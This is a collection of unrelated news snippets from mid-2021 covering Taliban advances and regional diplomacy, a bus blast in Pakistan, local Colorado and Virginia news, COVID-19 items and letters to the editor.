In recent weeks the Taliban has taken control of a string of border crossings into some of Afghanistan's Central Asian neighbors, with the militants looking to choke off much-needed revenue from the government in Kabul while also filling their own coffers.

Taliban advances have raised concerns in Russia, which has mutual defense agreements with most of the Central Asian states bordering Afghanistan.

The Russian Foreign Ministry on July 14 warned that any attempt by the Taliban to harm the security of Russia's allies in the region would lead to significant casualties.

The ministry also urged the Afghan government and the Taliban to start meaningful negotiations on forming a transitional coalition government before it is too late.



A Taliban delegation in Moscow last week sought to reassure Russia it would not allow the country to be used as a platform to attack others.

An Afghan official who spoke on condition of anonymity has said that a high-level Afghan government delegation, which will include the head of the countrys reconciliation council, is to meet the Taliban in Doha to jump-start a long-stalled peace process.

The Taliban was expected to bring its senior leaders to the table when the two sides meet, possibly on July 16, said the official.

With reporting by Reuters, AFP, and AP
The United States has condemned the apparent execution-style killing of Afghan commandos by the Taliban, in what State Department spokesman Ned Price called an "atrocious" act.

Price said on July 14 that the United States had no reason to doubt the authenticity of a video showing Taliban militants shooting dead 22 Afghan commandos as they surrendered.

CNN has reported, citing footage it verified, that the massacre occurred in June against an Afghan special forces unit in the town of Dawlat Abad in Faryab Province, near the border with Turkmenistan.

The video shows the commandos surrendering after a battle for the town. They are then gunned down and their bodies are shown strewn on the ground.

With reporting by CNN and Reuters
As the security situation in Afghanistan worsens, Chinese Foreign Minister Wang Yi has begun a high-profile tour of Central Asia that analysts say is an effort by Beijing to boost its interests in the region.

The weeklong visit to Turkmenistan, Tajikistan, and Uzbekistan comes as the Taliban continues to take territory from Afghan government forces amid the withdrawal of U.S. and NATO troops from the country, which is set to be completed by August 31.

Wang will look to shore up Beijings rising clout while discussing the growing security concerns in the region as the departure of foreign troops winds down and fighting between the Taliban and government forces intensifies.

The Taliban offensive has left Beijing and the Central Asian states -- as well as regional players Iran, Pakistan, and Russia, all with key interests in Afghanistan -- anxiously eyeing the tenuous security situation on their doorstep. Afghanistans neighbors have also stepped up their diplomatic efforts with the main parties in the conflict as they scramble to prevent it from spilling across their borders.

I wouldnt expect any surprises from this trip, but Beijing will use this as an opportunity to show its regional power ambitions, Temur Umarov, an expert on China in Central Asia at the Carnegie Moscow Center, told RFE/RL.

The trip began with a two-day visit to Turkmenistan on July 12 followed by meetings in Uzbekistan and Tajikistan, where Wang will attend an annual gathering of the foreign ministers of the Shanghai Cooperation Organization (SCO) in the Tajik capital, Dushanbe, to focus on what Chinese Foreign Ministry spokesman Wang Wenbin called Afghanistans post-troop withdrawal era.

The SCO -- a Eurasian political bloc focused on counterterrorism that includes China, Kazakhstan, Kyrgyzstan, India, Pakistan, Russia, Tajikistan, and Uzbekistan -- has been one of the main vehicles through which Beijing has expanded its influence in Central Asia and the wider region, which could grow amid the fluid situation in Afghanistan.

Chinas future role, however, is still being defined. Beijing maintains a strategic relationship with Pakistan, the Talibans main backer, and strong ties with Iran. Chinas political and economic influence in Central Asia has also expanded dramatically in the last decade.

But while Beijing holds influential cards for Afghanistan, its strategy is unclear and vague, Umarov said, who adds that even though China doesnt want to replace the United States in Afghanistan, it also wont be taking a hands-off approach.

In the future, we can likely expect more [Chinese] engagement with different parties in the Afghan conflict, but only if it fits Chinas interests in the region, said Umarov. The most important goal for China is to seal the chaos inside Afghanistans borders.

The View From Central Asia

Those spillover fears, as well as concerns over an uptick in Islamist extremist activity, are shared by Afghanistan's northern neighbors in Central Asia. They have also been at the heart of a series of recent moves across the region and will be on the table in Dushanbe during the SCO summit.

Turkmenistan moved heavy weaponry closer to its border with Afghanistan on July 11 and put reservists on alert in Ashgabat, the capital. The reclusive Central Asian country, which shares an 804-kilometer border with Afghanistan, also hosted a Taliban delegation for talks on July 10, RFE/RLs Turkmen Service reported.

Taliban representatives have also visited Islamabad, Moscow, and Tehran in recent weeks as the group has looked to reach out to Afghanistans anxious neighbors and calm fears over a security vacuum emerging in the country following the U.S. withdrawal.

On July 5, Tajikistan -- where two-thirds of the countrys 1,357-kilometer-long border with Afghanistan is now under Taliban control -- sent 20,000 army reservists to guard the border and called for assistance from the Collective Security Treaty Organization (CSTO), a Moscow-led military bloc of which Tajikistan is a member.

Similarly, both Uzbekistan and Tajikistan have seen refugees and defeated Afghan forces flee across their borders amid intensified fighting in recent weeks.

Tajikistan in particular remains a crucial focal point for wider security issues in the region. The country hosts approximately 7,000 Russian troops at a major military base and is also home to a Chinese military outpost along the Afghan-Tajik border, which is Beijings only military facility in the region.

The collection of military compounds is reportedly used by Chinese personnel for intelligence gathering focused on counterterrorism, specifically on Uyghur militant groups based in Afghanistan whom Beijing wants to monitor and prevent from crossing into its western Xinjiang Province.

Moscow remains a regional military leader and views Central Asia as within its sphere of influence. While China and Russia share similar concerns over regional stability, the Kremlin remains apprehensive about an expanded Chinese military footprint in the area, a factor that analysts note Beijing will need to be mindful of amid the evolving situation in Afghanistan.

I think it would be difficult for Moscow to accept Beijing playing the first violin in the region, Nargis Kassenova, a senior fellow at Harvard who focuses on China's role in the region, told RFE/RL.

China And The Taliban

While China holds broader regional ambitions, its most pressing concerns for Afghanistan remain narrowly focused on Uyghur militants and its own security.

The Talibans historical connections to Uyghur extremist groups affiliated with Al-Qaeda go back decades and have been a source of alarm for Beijing in the past, particularly the East Turkestan Islamic Movement.

The United States and other countries previously branded the group a terrorist organization, but the Trump administration removed that designation in 2020, sparking a backlash from Beijing.

China has, in part, used the existence of such extremist groups to justify its crackdown in Xinjiang, where it has interned more than 1 million Uyghurs, Kazakhs, Kyrgyz, and other Muslim minorities in a vast camp system, according to United Nations human rights officials.

Many Uyghur militants previously based in Afghanistan moved to Syria in recent years, but a 2020 United Nations Security Council report estimated that several hundred militants remained in the country.

Despite this tense history, the Taliban has refused to condemn China's treatment of Muslims in Xinjiang and has begun courting Beijing's favor by saying it will not harbor Uyghur militants in the territory it controls.

We are seeing some sophisticated statements from the Taliban about working with China, Niva Yau, a researcher at the OSCE Academy in Bishkek, Kyrgyzstan, told RFE/RL. It shows that there is interest from the Taliban in gaining legitimacy and recognition from China.

In an attempt to assuage Beijings concerns, Taliban representatives have engaged in public outreach, giving statements to Chinese media and to the foreign press that China is a welcome friend in Afghanistan.

Taliban spokesman Suhail Shaheen told reporters in Qatar on July 8 that Afghan territory under the groups control would not be used against other countries and that the Taliban would not interfere in Chinas internal affairs.

While Beijing officially supports the government of President Ashraf Ghani in Kabul, China is reportedly pressing the Taliban to limit its ties to Uyghur militant groups in return for financial investment in Afghan infrastructure should the hard-line Islamist group gain control over the country.

The Taliban know that if they get control [of Afghanistan] they will need recognition of statehood and legitimacy from its neighbors. That includes Central Asia [and] China, Yau said.
Beijing says nine Chinese workers were among 12 people killed in a "bomb attack" on a bus in northwestern Pakistan, though local officials say the explosion appeared to have been caused by a gas leak.

The bus was carrying around 40 Chinese personnel to a hydropower dam construction site in Pakistan's northern Khyber Pakhtunkhwa Province near the border with China.



China is building the Dasu hydropower project (DHP) in the district of Upper Kohistan of Khyber Pakhtunkhwa under an investment plan that is part of Beijing's Belt and Road Initiative.

China is Islamabad's closest regional ally, but the security of Chinese workers in Pakistan has long raised concerns in Beijing.

Officials from both countries said nine Chinese workers and three Pakistani members of the paramilitary police who were ensuring the Chinese workers' security died in the blast.

Arif Khan Yousafzai, a senior government official in the Upper Kohistan district, said around 28 people were also injured and airlifted to hospitals by the Pakistani military.

Chinese Foreign Ministry spokesman Zhao Lijian voiced "shock and condemnation over the bombing" and urged Pakistan to "severely punish" those responsible and "earnestly protect" Chinese nationals and projects.

Local officials acknowledged an explosion occurred aboard the bus, but the Pakistani Foreign Ministry contradicted the Chinese account, saying in a statement that the bus "plunged into a ravine after a mechanical failure, resulting in the leakage of gas that caused a blast."

The DHP, which includes the construction of a 4,320MW hydropower plant on the Indus River near Dasu town, is part of the China-Pakistan Economic Corridor (CPEC), a $65 billion investment plan under Beijing's Belt and Road Initiative that is aimed at connecting western China to the Gwadar deep-water sea port in southern Pakistan.

Access to Gwadar will give China strategic access to the Arabian Sea.

Construction of the dam began in 2017 and was scheduled to be built within five years, according to the Pakistan Water and Power Development Authority.



China has invested billions of dollars into Pakistan in recent years, but Chinese-funded projects have triggered the discontent of separatist groups in Pakistan's Balochistan, who say local communities have little benefit.

In April, the Pakistani Taliban claimed responsibility for a deadly suicide explosion at a luxury hotel hosting the Chinese ambassador in southwest Balochistan. The ambassador escaped unhurt.

In 2019, gunmen stormed a luxury hotel in Balochistan overlooking the construction of the Gwadar port, killing at least eight people.

With reporting by Reuters, dpa, and Geo TV
The Taliban has released a female member of Khost Provincial Council after she and her children were abducted for a day.



Zuhra Jalal told Radio Azadi that the Taliban released her and her five children on July 13 after the militant group blocked the road on which they were traveling in Logar Province during a journey from the capital, Kabul, to Khost Province.



Jalal said she was released after mediation by tribal elders and other officials. She said the mediation efforts went all the way to the Taliban's political office in the Qatari capital, Doha.



She told Radio Azadi that the Taliban told her she was being held because she works for an infidel and American puppet government.



Asked whether she would be intimidated by the incident, she said she would continue "as long as I live."



"I consider this government legitimate. I consider you [Taliban] an illegitimate group because you are an outlaw and insurgent group," she said, adding that she would also work for a unity government if a peace agreement were reached with the Taliban.



Taliban spokesman Zabihullah Mujahid confirmed that the group had captured the provincial council member and others accompanying her but did not elaborate on the reason of the incident.



Based on reporting by Radio Azadi correspondents on the ground in Afghanistan. Their names are being withheld for their protection.
MAZAR-E SHARIF, Afghanistan -- Women banned from going outside alone. Girls barred from attending school. Unmarried women forced to marry fighters.

This was life for many Afghans under the Talibans brutal regime in the 1990s when the fundamentalist Islamist group conquered much of Afghanistan.

It is also the new harsh reality for the tens of thousands of Afghan women who live in areas recently captured by the Taliban, which has seized dozens of rural districts across the country since the start of the foreign military withdrawal on May 1.

Residents of Afghanistans northeastern countryside -- the focus of the Talibans blistering military offensive -- say the militant group has reimposed many of the repressive laws and retrograde policies that defined its 1996-2001 rule.

When it ruled Afghanistan, the Taliban forced women to cover themselves from head to toe, banned them from working outside the home, severely limited girls education, and required women to be accompanied by a male relative when they left their homes.

Many of those policies have returned in areas now under Taliban control, say residents. That is despite repeated claims by the Taliban that it has changed and that it would not bring back its notorious strictures.

Women Are Oppressed

Before, I could go to the market alone to buy groceries, says Monira, a 26-year-old woman from the Shirin Tagab district in the northwestern province of Faryab. I could go to the hairdresser's. I could wear my hair up.

But that all changed when the Taliban captured her home district two weeks ago.

Now, women are oppressed, she adds. The Taliban says we must be accompanied by a male escort if we leave home. We must cover ourselves.

In parts of Faryab, the Taliban has banned shops from selling goods to unaccompanied women. Residents say those who break the rules are often punished, including public beatings, another feature of the former rule of the Taliban.

The militants have erected posters in some areas to inform residents of the new regulations. In other places, insurgents have driven around with loudspeakers and made announcements at mosques.

Sara, a 17-year-old student, says the Taliban shut down her school in the district of Aqcha, in the northern province of Jawzjan, after the militants captured it two weeks ago.

"We dont know what will happen to us or our education, says Sara, whose family fled to the provincial capital, Sheberghan, which is under government control.

All those years that we studied, and all our efforts have been crushed, she adds. We can no longer go to Aqcha for fear of the Taliban. They say that girls should not go to school anymore.

In other areas under Taliban control, education has been allowed for girls only until the fourth grade.

Arefa Navid, head of the Independent Human Rights Commission office in the northern province of Badakhshan, says the Taliban has warned women not to work outside their homes.

The Taliban has told working women across Badakhshan that they cannot go to their offices under any condition, Navid says.

Habiba Danesh, a parliamentarian from the northern province of Takhar, says the Taliban is also forcing single or widowed women there to marry its fighters. Similar unconfirmed reports have emerged from other provinces under the Islamists' control.

People Are Worried

Meanwhile, a male resident of the Balkh district of northern Balkh Province says the Taliban has banned men from trimming or shaving their beards.

Barbers have been threatened with punishment if they flaunt the new rules, he says, speaking on condition of anonymity for fear of reprisal by the Taliban.

Men, he says, have also been forced to pray five times a day.

Listening to music and watching television have also been barred in some areas, much like they were during the Talibans rule a quarter of a century ago.

The Taliban has imposed many restrictions on people, he says. People are worried.

Another resident says the militant group has ordered people to feed their fighters three times a day despite the desperate poverty in the area.

They are forcing people to prepare food for them and offer them a place to sleep, says the resident.

Human Rights Watch has also accused Taliban militants of forcibly displacing residents and burning their homes in apparent retaliation for cooperating with the Afghan government.

The Talibans retaliatory attacks against civilians deemed to have supported the government are an ominous warning about the risk of future atrocities, said Patricia Gossman, associate Asia director at Human Rights Watch.

Taliban Denials

The Taliban rejects charges that it is mistreating locals and imposing harsh new policies in the areas it recently seized.

Currently there is a state of war and everything will remain the same [as it was under Afghan government control], Taliban spokesman Zabihullah Mujahid told RFE/RL. But once the laws are made the people will have to act according to the law.

The Taliban claims it is not the same brutal group that first ruled Afghanistan in the 1990s, when its regime was an international pariah notorious for oppressing women and massacring ethnic and religious minorities.

In recent years, the Taliban has said it is committed to granting women their rights and allowing them to work and go to school if they do not violate Islamic or Afghan values. But it also suggested it wants to curtail the recent freedoms gained by women that it said promote immorality and indecency.

The Talibans adherence to ultraconservative Islam and the Pashtun tribal code has struck a chord with some currently living under the groups thumb, especially in Afghanistans Pashtun-dominated rural south and east, which have borne the brunt of the war and where life has improved little in the past 20 years.

But those ideas are largely alien in the north and the major urban centers in Afghanistan that have made big social, economic, and democratic gains in the past 19 years since the Taliban was ousted from power.

The Talibans revival of its extremist policies in rural areas has filled many women in the cities with dread.

Im worried that women could return to the dark days of the past when we were just housewives and banned from taking part in society, culture, politics, and even sport, says Sanam Sadat, an activist in Faryabs provincial capital, Maimana, which is under government control.

What happens when the Taliban takes over the cities? she adds. What will happen to women then?

Written by Frud Bezhan and Mustafa Sarwar in Prague based on reporting by Radio Azadi correspondents in Afghanistan whose names are being withheld for security reasons.
The Biden administration has announced that it is set to begin evacuations of Afghans who aided the U.S. military effort in the nearly 20-year war during the last week of July.

Operation Allies Refuge flights out of Afghanistan will be available first for special immigrant visa applicants already in the process of applying for U.S. residency, the White House said on July 14.

President Joe Biden has faced pressure from U.S. lawmakers to come up with a plan to help evacuate Afghan military helpers ahead of next month's U.S. military withdrawal.

White House press secretary Jen Psaki declined to detail how many Afghans are expected to be among those evacuated in the first flights or where those evacuated will be taken, citing security concerns.

"The reason that we are taking these steps is because these are courageous individuals," Psaki said. "We want to make sure we recognize and value the role they've played over the last several years."

A State Department unit coordinating the evacuations will be run by veteran Ambassador Tracey Jacobson and include representatives from the Departments of Defense and Homeland Security, official said earlier.

Deputy Homeland Security Adviser Russ Travers will coordinate an interagency policy process related to the evacuations.

The announcement comes as the Taliban presses on with its surge, saying its forces seized a strategic border crossing with Pakistan on July 14.

Taliban spokesman Zabihullah Mujahid tweeted a video purporting to show Taliban fighters on July 14 in the southeastern town of Spin Boldak along the Afghanistan-Pakistan border.

On the Pakistani side, residents of the border town of Chaman reported seeing the Taliban's signature white flag flying just across the boundary line and Taliban fighters in vehicles driving in the area.

The Afghan government denied the Taliban had seized the border crossing.

With reporting by AP, Reuters, and AFP
A north-side Colorado Springs hotel property would be transformed into apartments that would help fill a need for lower-cost housing, under a proposal by a Texas company.

Sandstone Investments, a Dallas real estate acquisitions and development company, has proposed converting the two-building Motel 6 and Studio 6 at Voyager Parkway and Razorback Road into 117 studio apartments, according to plans the company has filed with city officials. The property sits near Interstate 25 and Academy Boulevard.

The hotel, which El Paso County land records show was built in 1984, had carried the Howard Johnson's flag until it was rebranded a few years ago.

Like other cities, Colorado Springs lacks enough affordable and attainable units for teachers, public safety workers, restaurant employees and others, said David Perel, a Sandstone principal. Those are the types of renters the company expects to attract, he said.

"We see a real need for that type of level of housing," Perel said. "The units are small, so they're going to be able to be priced at a level we think will be (more) affordable to a broad variety of individuals than some of the current new builds (for) multifamily housing."

Perel said he hopes rents at the converted Motel 6/Studio 6 would go for $800 a month or less for units that will be about 350 square feet in size.

Those rents would be about $500 lower than the average first-quarter rent of nearly $1,334 a month in Colorado Springs, based on a recent University of Denver report on local apartment costs.

Rents at the Motel 6 units won't be subsidized and there will be no income restrictions on tenants, Perel added.

Some upgrades would be made to the hotel rooms, but changes wouldn't be significant, he said. Kitchenettes would be installed in rooms that don't have them, existing kitchenettes would receive minor upgrades and more storage would be added to the units, Perel said.

The project would be a first for Sandstone, he said. But many cities have similar needs for lower cost housing and Perel said he expects his company would tackle similar conversions in other markets.

The Colorado Springs project isn't a done deal, however.

Sandstone needs city regulatory approval of its plan. The company, which has contracted to buy the hotel property, then would complete its purchase likely by year's end and possibly as early as the end of the third quarter, Perel said.

Units would be ready to rent three to six months after the company completes the property's purchase, he said.

Sandstone's plan to convert the Motel 6 property is the latest project that appears to signal a trend in Colorado Springs and elsewhere.

Another Texas company that specializes in hotel-to-apartment conversions proposed in June to transform the south-side Hotel Elegante Conference & Event Center into 642 apartments.

A former Rodeway Inn on Pikes Peak Avenue, east of downtown Colorado Springs, also has been targeted for conversion into 116 apartments, according to plans filed with the city.
One of the suspects arrested in connection to the recent assassination of Haitian President Jovenel Moise was a former confidential source for the United States Drug Enforcement Administration, the agency confirmed on Tuesday.
James Royal studies economics at the University of Chicago and is currently part of the Future Leaders program at the Independence Institute, a free market think tank in Denver.
Colorado Springs, CO (80903)

Today

Some clouds this evening will give way to mainly clear skies overnight. Low 58F. Winds SSE at 5 to 10 mph..

Tonight

Some clouds this evening will give way to mainly clear skies overnight. Low 58F. Winds SSE at 5 to 10 mph.
Though officials didn't take any action at that meeting, they did raise the possibility of getting together a group with folks from the conservation, engineering and planning and zoning departments to come up with a list of priorities for what areas and properties should be addressed first.

Just as one example, Cerro Gordo County Planning and Zoning Administrator John Robbins said during his presentation to staff members that access areas on Ash Street and Linden Street in Clear Lake could use re-seeding and re-vegetation work.

Staff members also discussed the idea of an ordinance that would necessitate landowners getting a second round of approval on certain lakeside projects before work could begin.

Public health
MIAMI (AP)  Norwegian Cruise Line is challenging a new Florida law that prevents cruise companies from requiring passengers to show proof of vaccination against the COVID-19 virus.

The lawsuit, filed Tuesday in Miami federal court, contends that the law jeopardizes safe operation of cruise ships by increasing risk of contracting the virus. Norwegian intends to restart cruises from Florida ports Aug. 15 with vaccinations required for all passengers.

Norwegian wants a judge to lift the ban by Aug. 6. The law imposes a fine of $5,000 each time a cruise line mandates that a passenger provide vaccination proof. Norwegian claims it violates federal law and several constitutional rights.

The company, officially known as Norwegian Cruise Line Holdings or NCLH, says it won't be able to sail from Florida unless a judge acts to block the law.

The result would be a devastating, unrecoverable loss for everyone  not only for NCLHs business but also for tens of thousands of passengers, employees, and stakeholders who all benefit from NCLH resuming safe operations as planned, the lawsuit says.

The only way NCLH could maintain its protocols and operations as currently planned is by abandoning Florida altogether, the lawsuit adds.
How is it possible that someone who went through all that to help this country is being sent away over a piece of bread?

The government declines to discuss this case. According to CNN, its decision simply cited terrorist activity, though Niazy said he told the story about the bread in his asylum interview.

Herting said in federal immigration courts in recent years what constitutes support of terrorism has expanded and become more skewed. He pointed to a 2018 case in which a woman was denied asylum because after being captured and seeing her husband murdered by guerrillas in El Salvador, she was forced to cook and clean for the guerrillas. Providing those services, even under threat of death, was considered by the immigration court to be support of terrorists.

I dont like putting odds on outcomes for my clients, but the case law is not positive for Zalmay, Herting wrote in an email to me. Certainly we still have hope that we can get people interested enough in his story that there may be positive change, but without some reform in the law, hes facing a very steep uphill climb. I am sure the court will be sympathetic to his story, but sympathy doesnt change the law and the law in this area is fundamentally rotten.
Nikhil wrote:

Jazpants wrote: Maybe a silly question? What is the difference between Early Action deadline and R1?



It depends on the school. Some schools offer you a guaranteed interview if you apply in early decision round. Some other schools early decisions are binding meaning you have to commit to going to that school if you get an admit.



Posted from my mobile device It depends on the school. Some schools offer you a guaranteed interview if you apply in early decision round. Some other schools early decisions are binding meaning you have to commit to going to that school if you get an admit.

To add, ED or EA (early decision or early action), allow you to apply technically BEFORE R1.Usually these rounds are binding (meaning you will be asked to withdraw your other applications at other business schools), but they have have more chances of converting an admit (getting in) and usually carry a bigger deposit. You basically commit to attend if you get admitted. However, these commitment contracts are tricky and the only enforcement schools have is the larger deposit. We regularly have people who have not followed the rules and get admitted to multiple programs after ED admit since they did not withdraw.Basically ED/EA are for the school fans - e.g. if you really want to go to Fuqua or Columbia, this is your BEST chance. However, they trade off some potential for financial aid and negotiation of scholarship $$ since you are committing to attend at the time of application (your deposit is not due until you actually get the decision) but still you get the idea._________________
Virginia Gov. Ralph Northam  after making an earlier stop at Danville Community College  helped to break ground on Staunton River Plastics, the first business setting up shop in a new industrial park in Hurt on Wednesday morning.

Northam was joined by regional leaders to celebrate the new 250,000-square-foot facility thats expected to create 200 jobs and invest $34 million.

This important project is a testament to why Virginia continues to be recognized as the best place to do business, Northam said. Its great to join Staunton River Plastics to break ground on a new state-of-the-art manufacturing facility in Hurt that will bring good-paying, full-time jobs and economic opportunity to the residents of Danville-Pittsylvania County.

The plant is the first tenant of the Southern Virginia Multimodal Park in Hurt. The park was the home of the former textile giant Burlington Industries until it closed in 2007, a county news release stated.

The Staunton River Regional Industrial Facility Authority  a venture between Pittsylvania County, Danville and Hurt  is re-developing the industrial park.
A 29-year-old manager of American Freight Furniture Mattress Appliance on Riverside Drive was shot Wednesday afternoon in Danville.

A suspect  32-year-old Jaivon Alonzo Scott, an employee at the store  was taken into custody after he fled the scene and was chased down by three police officers, said Danville Police Department Capt. Richard Chivvis. He was apprehended behind AutoZone located nearby the shopping center housing American Freight.

The victims injuries did not appear to be life-threatening, Chivvis said. He was alert and transported to a hospital, but police did not specify if it was Sovah Health-Danville.

He appears to be in good condition, Chivvis said of the victim.

Police said Scott, of Danville, was on duty at the store when the shooting occurred. Other employees also were there, but no one else was injured.

The suspect is charged with malicious wounding, use of a firearm in the commission of a felony, discharging a firearm in an occupied building, shooting a firearm in the commission of a felony and possession of a firearm by a felon.

Joyce Yan, owner of nearby First Taste Chinese Restaurant, called the incident scary, definitely scary.
I know a lot of folks have been looking at social media, Burton told the crowd.

As for the transgender student policy, once it becomes law, you dont have a choice but to follow the law, he said. The school board is not responsible for the policy, but the state is, he said.

If you want to make a change, he told citizens. November is coming.

During comment, the Rev. Bobby Brumfield said the transgender policy overrides the will of parents and puts childrens privacy and safety at risk.

Its an irresponsible use of school resources, he said of the transgender policy.

Following Brumfields speech and those of others opposing the states policy, citizens erupted into cheers and gave standing ovations.

The school boards chairman could not control the crowd as speakers openly defied the 3-minute time limit on each speaker. Crowd members heckled the board and spoke out of order, with Burton repeatedly threatening to have some members escorted from the building by a deputy.

What about protecting our children? some shouted.
Gov. Ralph Northam stopped by Danville Community College on Wednesday morning to promote a tuition-free program that went into effect July 1 for community colleges across the state.

Known as the G3 initiative  for get skilled, get a job and get ahead  the program provides free tuition for students who enter high-demand fields at the states 23 community colleges.

The program addresses the problem of students enrolling in community college only to drop out due to costs.

A lot of individuals go to our community colleges, and then they dont complete their curriculum, and its not because of their grades, its because they cant afford it, Northam told community leaders during a speech inside DCCs Student Center. And so we want everybody in Virginia to be able to have the opportunity to go to a community college.

The G3 program helps students pay their tuition and also helps them with their wraparound expenses, such as transportation and child care, Northam said.

G3 targets key industries, including heath care, information technology and computer science, manufacturing and skilled trades, public safety, and early childhood education.
The woman and her boyfriend, identified only by the surnames Tang and Hu, were caught and confessed to trafficking three boys, according to the ministry. They have yet to stand trial, but potential penalties range up to death.

Blood samples from Guo Xinzhen's parents were added to an "anti-abduction DNA system," but no matches were found with boys who were believed to have been abducted, the police ministry said.

Kidnappers target children who are too young to know their names or hometowns and sometimes even that they were abducted.

"So happy for Mr. Guo," said a post signed Ding Dalong on the Zhihu social media platform. "He found his long-lost son and can move on with his own life."

Others called for buyers of trafficked children to be punished. There was no word on whether the couple who bought Guo Xinzhen would face penalties.

Guo Xinzhen grew up in Henan province, according to police, but no other details of his life have been reported. It isn't clear whether he knew he was abducted.

His mother, Zhang, described her despair in a 2015 television interview.

"What use is it for me to live?" she said. "It was me who lost the child."
MARTINSVILLE, Va.  Restoration of the old Callands Post Office, built in 1885, has been completed after a 2.5-year process.

An open house on July 18, from 1 to 3 p.m., will celebrate that renovation  at the buildings new location on Sago Road, a mile from where it had stood for 136 years.

It had been on property on Va. 57, across the parking lot from the present Callands Post Office, which was built in 1970.

During her three decades as postmaster of the Callands Post Office, from 1978 to 2009, Joan Nuckols saw the little wooden building get to be in worse and worse shape, she said. She used to wander through the inside of it now and then.

Area residents had been talking about restoring the building for the past several years, with Sandra Reynolds as a driving force, said Dale Aaron, who ended up coordinating efforts.

Work began in May 2019, when a bunch of us got together and said, We want to fix it. We dont want it to go away, said Pat Wells of Martinsville.

The owner gave it to me, laughed and said, Have fun, because I dont think anybody thought we could accomplish it, Aaron said.
The Danville-Pittsylvania County Habitat for Humanity has continued work during the pandemic, but the nationwide trend of rising lumber prices has slowed its operations.

Lumber prices have begun to fall but are still much higher than before the COVID-19 pandemic. More people working from home launched a trend in home-improvement projects, which increased demand for materials, thus boosting the cost.

As people are returning to work at offices and plants, remodeling and building projects have dropped off, and the cost is now falling.

Habitat for Humanity  an affordable-housing advocacy nonprofit which partners with prospective homeowners and local companies to build homes from the ground up  has seen its own costs shoot up.

I am always a year or so ahead on writing grants to have the funds available to build these homes, so we ended up about $5,000 short in the budget, said executive director Kim Baldridge about the current project in Pittsylvania County. She had to write another grant proposal to cover the unexpected expense and will not know whether the organization will receive it until October.
REIDSVILLE  N.C. Rep. Jerry Carter is being treated at Duke University Medical Center in Durham for a rare gastrointestinal disorder, according to a recent email from the state legislature and reports by Carters family on social media.

In early July, Carters wife Brenda Bruton Carter posted news of the Republican lawmakers diagnosis of idiopathic myointimal hyperplasia of mesenteric veins, or IMHMV, on Facebook.

She explained that Carter would be hospitalized at Duke for a week or more while internal medicine experts from across the globe weigh in on his treatment and physicians seek to restore lost nutrients to Carters system.

He is the first case here at Duke, and they want to make sure they handle it right, Carters wife wrote on Facebook. Consults are coming in from all over the world.

Information about when Carter, 66, is expected to return to his legislative duties was not immediately available. Elected in 2018, Carter represents House District 65, which includes Rockingham County.

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First discovered in 1991, only about a dozen cases of IMHMV have been written about extensively in medical journals, according to the National Institutes of Health.
DANVILLE, Va.  As of Friday, the delta variant of the novel coronavirus hadnt officially surfaced in Danville or Pittsylvania County.

But that doesnt mean its not here.

Thats because not all COVID-19 positive tests are available to undergo a process to determine a specific variant.

It is very likely that these variants are more common in our communities than the number of reported cases suggest, Dr. Brandy Darby, a veterinary epidemiologist with the Virginia Department of Health, told the Register & Bee.

The process for variant detection is known as whole genome sequencing and is only performed in a subset of samples, she said. Sequencing lets health experts identify variants to see if new linages are emerging, and it also serves as a gauge to mark trends in the state.

Since only a small sampling is used, its likely many more cases, hospitalizations and deaths have happened at the hands of a variety of variants circulating around the commonwealth than a database updated once a week indicates. Theres also a time gap between when an infection takes hold and when health officials discover the variant variety.
Upon identification of the release, all drilling activities at the location were suspended and containment and cleanup activities were started, Rude-Young said. She said the investigation was continuing.

Even if the drilling mud was primarily clay, Matteson said, the silt can still harm sensitive aquatic organisms. And she said the spill made opponents even more worried about what could happen if the pipeline were to leak near that spot, since the heavy oil the pipeline will carry could sink and go undetected for some time.

Rita Chamblin, an activist from the Bemidji area, said she got few answers last week when she tried contacting the MPCA to see how officials there were going to respond.

Would we have ever known about it had we not had people there?" Chamblin asked.

Melissa Lorentz, an attorney with the Minnesota Center for Environmental Advocacy, said Enbridge's permits specifically prohibit the discharge of drilling mud into waters along the route.

Enbridge spokeswoman Juli Kellner said the cleanup is complete. She said the company reported the spill immediately.

There were no impacts to any aquifers nor were there downstream impacts because environmental control measures were installed at this location, Kellner said.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Its time each of us took a long look in the mirror.

Too frequently we hear sentiments like those recently expressed by Marc Thiessen of The Washington Post (If Biden wants to increase vaccinations, give Trump credit for the vaccines, July 8).

Thiessen writes: President Joe Biden missed his Independence Day target of getting first shots into the arms of 70% of American adults.

Then we hear comments like the following made by one of the hosts of Fox and Friends on July 9: Theyre gonna knock on your door, theyre going to demand that you take it and theyre going to give you a third shot.

That same host went on to say this was going to happen with a pandemic clearly on the run.

Really? With this kind of drivel we then wonder why we didnt reach the 70% target  one that, if we are honest with ourselves, should have been attained. Sadly, these same individuals call themselves patriots. Real patriots would sit down, roll up their sleeves and get the vaccine  if only to protect themselves and their family members  and in the process protect their fellow Americans, too. Each day I continue to be amazed by the actions of my fellow citizens, although I guess at this point I shouldnt be.
Ohio Gov. Mike DeWine is taking a different tack by sending sworn peace officers  Ohio state troopers. So, if some of these would-be refugees steal a car and speed down a highway in Texas, DeWine has it covered.

Before long, the patchwork down on the border is going to look like a U.N. peacekeeping force. When do the Belgians arrive?

Besides, I thought that securing the border was what the more than 19,000 U.S. Border Patrol agents were paid to do.

In 30 years of writing about immigration, Ive interviewed many of these agents firsthand. Ive heard them ask for the construction of better roads along the border, the latest tunnel detection equipment, better electronic surveillance systems and more sophisticated technology.

Not once have I heard any of them ask for backup from state troopers or the National Guard. Thats not what they want. Thats what arrogant but know-nothing politicians tell them they need.

Nevertheless, like other likely 2024 Republican presidential hopefuls, Noem seems to be betting that a hardline stance in favor of border security will help catapult her to the top tier of GOP contenders.
What to believe

When I was 4 years old in 1942, air raid sirens sounded a drill in High Point and my parents turned off all the lights in the house. No one said, I have a right to leave my lights on. Im just not sure enemy planes can see my lights at 20,000 feet. Thats just U.S. propaganda.

But everyone turned their lights off for the sake of the town.

Of our three children, only one has gotten his COVID shots. The other two, also in their 50s, are not sure of the science.

Its just U.S. propaganda, they say. There is no thought about whats good for the town.

In todays ME culture, many say the U.S. has lost its credibility and cant be trusted. They forget that the only thing propping up our dollars is our faith in our nation.

Byron Godfrey

High Point

The other lie

I cannot remember any more divisive, contentious time in my 79 years. We are committing suicide by national insanity.
Mothers Against Drunk Driving (MADD) recently recognized Officer Dwayne McPherson for being the top arresting officer for impaired drivers during 2020.
A Helena man has been sentenced to three years' probation in a rape case where he pleaded guilty to lesser charges.

